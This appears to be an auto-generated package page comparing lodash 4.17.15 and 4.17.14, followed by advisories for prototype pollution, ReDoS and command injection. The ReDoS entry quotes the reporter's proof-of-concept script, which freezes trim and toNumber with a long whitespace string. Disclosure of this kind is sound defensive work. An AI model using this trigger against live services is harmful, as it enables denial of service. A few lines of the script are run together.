Lodash versions 4.17.15 and 4.17.14 offer developers a robust suite of JavaScript utility functions, streamlining common programming tasks and promoting cleaner, more maintainable code. Both versions maintain the core promise of Lodash: providing modular, performant tools for manipulating arrays, objects, strings, and more. Developers will find familiar functions like map, filter, reduce, and debounce, enabling efficient data transformation and control flow. The library's modular architecture allows importing only the necessary functions, minimizing bundle size and optimizing application performance.
A closer examination reveals nuanced differences between the versions. Version 4.17.15, released on July 19, 2019, contains 1049 files and has an unpacked size of 1401029 bytes. Version 4.17.14, released nine days earlier on July 10, 2019, contains 1051 files and has an unpacked size of 1403248 bytes. While the core functionality remains consistent, developers might be interested in the subtle changes in file count and unpacked size. These differences often indicate bug fixes, performance optimizations, or minor code refactoring within the library. Developers who prioritize the absolute latest bug fixes and potential performance tweaks will likely prefer 4.17.15. In contrast, some developers may prefer 4.17.14 for its more tested stability, understanding that code changes always carry a risk. Regardless, both versions provide a solid foundation for building efficient and maintainable JavaScript applications, embodying Lodash's commitment to developer productivity and code quality.
All the vulnerabilities related to the version 4.17.15 of the package
Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype Pollution. The functions pick, set, setWith, update, updateWith, and zipObjectDeep allow a malicious user to modify the prototype of Object if the property identifiers are user-supplied. Being affected by this issue requires manipulating objects based on user-provided property values or arrays.
This vulnerability causes the addition or modification of an existing property that will exist on all objects and may lead to Denial of Service or Code Execution under specific circumstances.
Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.
Steps to reproduce (provided by reporter Liyuan Chen):
var lo = require('lodash');
function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
Command Injection in lodash
lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.